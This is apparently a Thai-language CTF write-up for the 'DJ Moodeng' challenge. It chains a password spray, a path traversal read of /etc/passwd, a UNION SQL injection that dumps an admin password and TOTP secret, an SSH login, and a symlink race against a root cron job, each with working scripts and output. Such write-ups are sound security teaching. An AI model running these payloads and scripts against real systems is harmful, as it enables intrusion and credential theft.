DDJ MOODENG

Writeup WAN LAI CTF
b
benzdeus
Apr 20, 2026·6 min read

โจทย์นี้เป็นเว็บขายตั๋วและฟังเพลงของ DJ Moo Deng World Tour 2026 ที่ดูเหมือนเว็บธรรมดาในตอนแรก แต่พอไล่ไปเรื่อย ๆ จะเจอ chain ค่อนข้างยาว ตั้งแต่ seeded account, LFI, SQL Injection บน staging, การขโมย TOTP secret, ไปจนถึง race condition เพื่ออ่าน root.txt

เริ่มจากเว็บ public

หลังจาก VPN route เข้าที่แล้ว ผมเริ่มจากเปิดหน้าเว็บหลักที่ 10.88.128.24 ก่อน หน้าเว็บมีลิงก์หลัก ๆ คือ Login, Register, Buy Ticket และ Listen ลักษณะเว็บบอกใบ้ค่อนข้างชัดว่า flow สำคัญน่าจะอยู่ที่ระบบตั๋ว เพราะหน้า Listen เปิดให้เฉพาะคนที่มี ticket เท่านั้น

เช็ก header เบื้องต้น:

PowerShell
curl.exe -i http://10.88.128.24/

ข้อมูลที่ได้:

text
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Express

หน้า login ของ public site เป็นฟอร์มปกติ ไม่มีอะไรพิเศษในหน้าตา แต่เป็นจุดเริ่มของ foothold แรก

หา account ที่มีอยู่แล้ว

ผมลองสมัคร username ทั่วไปหลายตัวเพื่อดูว่ามีชื่อไหนถูกใช้ไปแล้ว เช่น admin, support, moodeng, djmoodeng, root หลายชื่อขึ้นว่า Username already taken แปลว่าฐานข้อมูลมี seeded user อยู่ก่อนแล้ว

จากนั้นลอง password spray แบบจำกัดด้วยคำที่เกี่ยวกับโจทย์ ไม่ได้ยิงกว้าง แค่ลองกับ account ที่น่าจะถูก seed มา:

Python
import requests

base = "http://10.88.128.24/login"
users = ["support", "moodeng", "djmoodeng", "dj", "admin", "root"]
passwords = [
    "support2026",
    "moodeng2026",
    "MooDeng2026!",
    "DJMooDeng2026!",
    "password",
    "123456",
]

for u in users:
    for p in passwords:
        r = requests.post(
            base,
            data={"username": u, "password": p},
            allow_redirects=False,
            timeout=4,
        )
        if r.status_code in (301, 302) and r.headers.get("Location") != "/login":
            print("HIT", u, p, r.headers.get("Location"))
            raise SystemExit

ได้ credential แรก:

text
support:support2026

เมื่อ login เป็น support แล้วจะเห็นว่า account นี้มี ticket ที่ approve อยู่แล้ว seat GA-042

พอมี ticket ที่สถานะ APPROVED ก็เข้า Listen Lounge ได้ หน้าเว็บ render รายการเพลงด้วย <audio> หลายรายการ และแต่ละไฟล์ถูกเรียกผ่าน endpoint เดียวกันคือ /listen?track=... เช่น http://10.88.128.24/listen?track=ASTRONOMOA%20-%20130%20%5B%20P%20H%20A%20N%20U%20%5D.mp3

LFI จาก endpoint ฟังเพลง

ตรงนี้เป็นจุดที่น่าสนใจ เพราะ URL ของไฟล์เพลงมี parameter ชื่อ track ซึ่งดูเหมือนรับ filename ไปเปิดตรง ๆ ผมเลยลอง path traversal:

Python
import requests

s = requests.Session()
s.post("http://10.88.128.24/login", data={
    "username": "support",
    "password": "support2026",
})

r = s.get(
    "http://10.88.128.24/listen?track=../../../../etc/passwd",
    stream=True,
    timeout=10,
)

print(r.status_code, r.headers.get("Content-Type"))
print(next(r.iter_content(256)).decode(errors="replace"))

ผลลัพธ์อ่าน /etc/passwd ได้จริง:

text
200 application/octet-stream
root:x:0:0:root:/root:/bin/bash
moodeng:x:1000:1000::/home/moodeng:/bin/bash
azuracast:x:999:999::/var/azuracast:/bin/bash
nodeapp:x:998:998::/home/nodeapp:/usr/sbin/nologin

สรุปว่า /listen?track= เป็น LFI / Path Traversal โดยมีเงื่อนไขว่าต้อง login เป็น user ที่มี ticket approved ก่อน

จาก LFI ผมเริ่มอ่าน source code ของแอป แล้วเจอ logic ประมาณนี้:

JavaScript
const TRACKS_DIR = "/var/azuracast/tracks/";
const filePath = path.join(TRACKS_DIR, track);
fs.stat(filePath, ...)
fs.createReadStream(filePath).pipe(res);

ปัญหาคือใช้ path.join() กับ input จาก user แต่ไม่ได้เช็ก realpath ว่าไฟล์สุดท้ายยังอยู่ใต้ /var/azuracast/tracks/ หรือไม่

อ่าน source แล้วเจอ staging admin

เมื่ออ่านไฟล์ของแอปผ่าน LFI จะเห็นว่ามีหลาย service:

text
server-public.js
server-staging.js
server-admin.js
db.js
db-staging.js

ข้อมูลสำคัญที่ได้จาก source:

text
public app:
- /listen มี LFI

staging admin:
- /login ต่อ SQL ด้วย string concat
- มี UNION SQL Injection

production admin:
- login ใช้ prepared statement
- มี TOTP
- มี /api/files สำหรับ list directory หลังเป็น admin

database:
- user: djmoodeng
- password: app_db_pass_2026
- database: djmoodeng

ในหน้าเว็บมี domain djmoodeng.ctf โผล่อยู่ ผมเลยลอง brute force vhost ด้วย Host header:

Python
import requests

hosts = [
    "djmoodeng.ctf",
    "admin.djmoodeng.ctf",
    "staging.djmoodeng.ctf",
    "staging-admin.djmoodeng.ctf",
]

for h in hosts:
    r = requests.get(
        "http://10.88.128.24/login",
        headers={"Host": h},
        timeout=5,
    )
    print(h, r.status_code, r.text[:80].replace("\n", " "))

เจอ vhost สำคัญสองตัว:

text
admin.djmoodeng.ctf
staging-admin.djmoodeng.ctf

หน้า staging เห็นชัดว่าเป็น environment แยก และใช้ wording Staging v2.6-rc1

ส่วน production admin เป็นอีกหน้าหนึ่ง ใช้ login แล้วต้องผ่าน 2FA ต่อ

SQL Injection บน staging

ใน server-staging.js มี query ประมาณนี้:

JavaScript
const sql = `SELECT id, username, role FROM users
             WHERE username='${username}' AND password='${password}' LIMIT 1`;

เพราะ username และ password ถูก concat เข้า SQL ตรง ๆ จึงใช้ UNION SELECT ได้ ผมใช้ staging เป็นทางผ่านเพื่ออ่านข้อมูลจากฐาน production djmoodeng.users โดยยัดค่าที่ต้องการให้ไปแสดงใน field username บน dashboard

payload:

SQL
x' UNION SELECT 1,
concat(username,0x3a,password,0x3a,ifnull(totp_secret,'')),
'admin'
FROM djmoodeng.users
WHERE role='admin'
LIMIT 1-- -

ยิง request:

Python
import requests

base = "http://10.88.128.24"
host = "staging-admin.djmoodeng.ctf"

payload = (
    "x' UNION SELECT 1,"
    "concat(username,0x3a,password,0x3a,ifnull(totp_secret,'')),"
    "'admin' FROM djmoodeng.users WHERE role='admin' LIMIT 1-- -"
)

s = requests.Session()
s.post(
    base + "/login",
    headers={"Host": host},
    data={"username": payload, "password": "x"},
    allow_redirects=False,
)

r = s.get(base + "/dashboard", headers={"Host": host})
print(r.text)

dashboard render ค่าที่ต้องการออกมา:

text
admin:M00deng_2026!:JBSWY3DPEHPK3PXP

ดังนั้นข้อมูลของ production admin คือ:

text
username: admin
password: M00deng_2026!
TOTP secret: JBSWY3DPEHPK3PXP

เข้า production admin ด้วย TOTP

หลังได้ password และ TOTP secret แล้ว ขั้นตอนต่อไปคือ login production admin ที่ admin.djmoodeng.ctf

คำนวณ TOTP จาก secret:

Python
import time
import hmac
import hashlib
import base64
import struct

def totp(secret, interval=30, digits=6):
    key = base64.b32decode(secret, casefold=True)
    counter = int(time.time() // interval)
    msg = struct.pack(">Q", counter)
    digest = hmac.new(key, msg, hashlib.sha1).digest()
    off = digest[-1] & 0x0f
    code = (struct.unpack(">I", digest[off:off+4])[0] & 0x7fffffff) % (10 ** digits)
    return str(code).zfill(digits)

print(totp("JBSWY3DPEHPK3PXP"))

หลังกรอก username/password แล้ว production จะพามาที่หน้า 2FA:

เมื่อกรอก code ถูกต้อง ก็เข้า dashboard ได้สำเร็จ:

ใช้ admin file API ช่วยสำรวจระบบ

จาก server-admin.js มี endpoint นี้:

JavaScript
app.post("/api/files", requireAdmin, (req, res) => {
  const dirPath = (req.body && req.body.path) || "/var/azuracast/tracks";
  fs.readdir(dirPath, { withFileTypes: true }, ...)
});

endpoint นี้ require admin แต่หลังจากเข้า admin ได้แล้วก็สามารถส่ง path ใด ๆ ไป list directory ได้ เพราะไม่มีการ sanitize path

ตัวอย่าง list home ของ user:

Python
rr = s.post(
    "http://10.88.128.24/api/files",
    headers={"Host": "admin.djmoodeng.ctf"},
    json={"path": "/home/moodeng"},
)
print(rr.text)

ผลลัพธ์:

JSON
{
  "path": "/home/moodeng",
  "entries": [
    {"name": ".bash_logout", "type": "file"},
    {"name": ".bashrc", "type": "file"},
    {"name": ".profile", "type": "file"},
    {"name": ".ssh", "type": "dir"},
    {"name": "user.txt", "type": "file"}
  ]
}

ตรงนี้ทำให้รู้ path ของ user.txt แน่นอน จากนั้นย้อนกลับไปใช้ LFI ของ public site อ่านไฟล์:

Python
r = s.get(
    "http://10.88.128.24/listen?track=../../../../home/moodeng/user.txt",
    stream=True,
    timeout=10,
)

print(r.content.decode())

ได้ flag แรก:

text
WANLAI{a11637f78482aa9e2e856e2ebf24adb5}

จาก web foothold ไป SSH

ตอนสำรวจไฟล์ด้วย LFI และ admin file API ผมอ่านเจอไฟล์สำคัญหลายตัว:

text
/entrypoint.sh
/etc/cron.d/azuracast-process
/usr/local/bin/randomize-flags.sh
/opt/scripts/process-uploads.sh

ใน /entrypoint.sh มี credential ระดับระบบ:

Bash
echo 'moodeng:Sn3ak!ng_H1pp0_2026' | chpasswd
echo 'azuracast:Az5r4_R@d10_2026' | chpasswd

SSH เปิดอยู่ และ credential ใช้ได้จริง:

Bash
ssh moodeng@10.88.128.24

password:

text
Sn3ak!ng_H1pp0_2026

ยืนยัน user:

Bash
id
cat ~/user.txt

ผล:

text
uid=1000(moodeng) gid=1000(moodeng) groups=1000(moodeng)
WANLAI{a11637f78482aa9e2e856e2ebf24adb5}

อีก account คือ azuracast:

Bash
ssh azuracast@10.88.128.24

password:

text
Az5r4_R@d10_2026

Privilege escalation ด้วย TOCTOU

จาก cron:

text
* * * * * root /opt/scripts/process-uploads.sh

script /opt/scripts/process-uploads.sh ทำงานด้วย root และ process ไฟล์ใน /var/azuracast/uploads

ส่วนที่เป็นปัญหา:

Bash
if [ -L "$f" ]; then
    continue
fi
if [ "$(stat -c %U "$f")" != "azuracast" ]; then
    continue
fi

sleep 0.3

cp "$f" "$dest"
chmod 644 "$dest"
chown root:root "$dest"

logic คือ cron จะเช็กก่อนว่าไฟล์ไม่ใช่ symlink และ owner เป็น azuracast จากนั้น sleep 0.3 วินาที แล้วค่อย cp ไฟล์ไปที่ processed directory

ช่องว่าง 0.3 วินาทีนี่ทำให้เกิด TOCTOU:

  1. ตอน check ให้ไฟล์เป็นไฟล์ปกติ owner azuracast

  2. หลัง check แต่ก่อน cp สลับไฟล์นั้นเป็น symlink ไป /root/root.txt

  3. root cron จะ cp target ของ symlink มาไว้ใน /var/azuracast/processed

สคริปต์ race ที่ใช้:

Bash
#!/bin/bash
set -eu

U=/var/azuracast/uploads/rootleak.mp3
P=/var/azuracast/processed/rootleak.mp3

rm -f "$U" "$P"

(
  while true; do
    rm -f "$U"
    printf 'SAFE' > "$U"
    sleep 0.08
    rm -f "$U"
    ln -s /root/root.txt "$U"
    sleep 0.42
  done
) &

RACER=$!

cleanup() {
  kill $RACER 2>/dev/null || true
  rm -f "$U"
}
trap cleanup EXIT

for i in $(seq 1 180); do
  if [ -f "$P" ]; then
    echo '---FOUND FILE---'
    ls -l "$P"
    echo '---CONTENT---'
    cat "$P"
    exit 0
  fi
  sleep 1
done

echo 'timeout'
exit 1

รอให้ cron รอบถัดไปทำงาน แล้วได้:

text
---FOUND FILE---
-rw-r--r-- 1 root root 41 ... /var/azuracast/processed/rootleak.mp3
---CONTENT---
WANLAI{852bef8b4793fcf1b2349f5269d79f5d}

นี่คือ root.txt

สรุป chain

โจทย์นี้ไม่ได้จบที่ bug เดียว แต่เป็นการต่อหลายจุดเข้าด้วยกัน:

text
1. เจอ public site ที่ 10.88.128.24
2. หา seeded account ได้ support:support2026
3. ใช้ support เข้า Listen Lounge
4. เจอ LFI ที่ /listen?track=
5. ใช้ LFI อ่าน source code และ config
6. เจอ staging-admin.djmoodeng.ctf มี SQL Injection
7. ใช้ SQLi ดึง production admin password และ TOTP secret
8. เข้า admin.djmoodeng.ctf สำเร็จ
9. ใช้ /api/files ช่วยยืนยัน path ต่าง ๆ
10. อ่าน user.txt ผ่าน LFI
11. อ่าน entrypoint.sh แล้วได้ system credentials
12. SSH เป็น moodeng และ azuracast
13. เจอ cron root ที่มี TOCTOU race
14. race symlink ไป /root/root.txt
15. ได้ root.txt

ค่าที่สำคัญ:

text
Public account:
support:support2026

Staging admin host:
staging-admin.djmoodeng.ctf

Production admin:
admin:M00deng_2026!
TOTP secret: JBSWY3DPEHPK3PXP

System users:
moodeng:Sn3ak!ng_H1pp0_2026
azuracast:Az5r4_R@d10_2026

สุดท้าย:

text
user.txt = WANLAI{a11637f78482aa9e2e856e2ebf24adb5}
root.txt = WANLAI{852bef8b4793fcf1b2349f5269d79f5d}

In This Series

View All Parts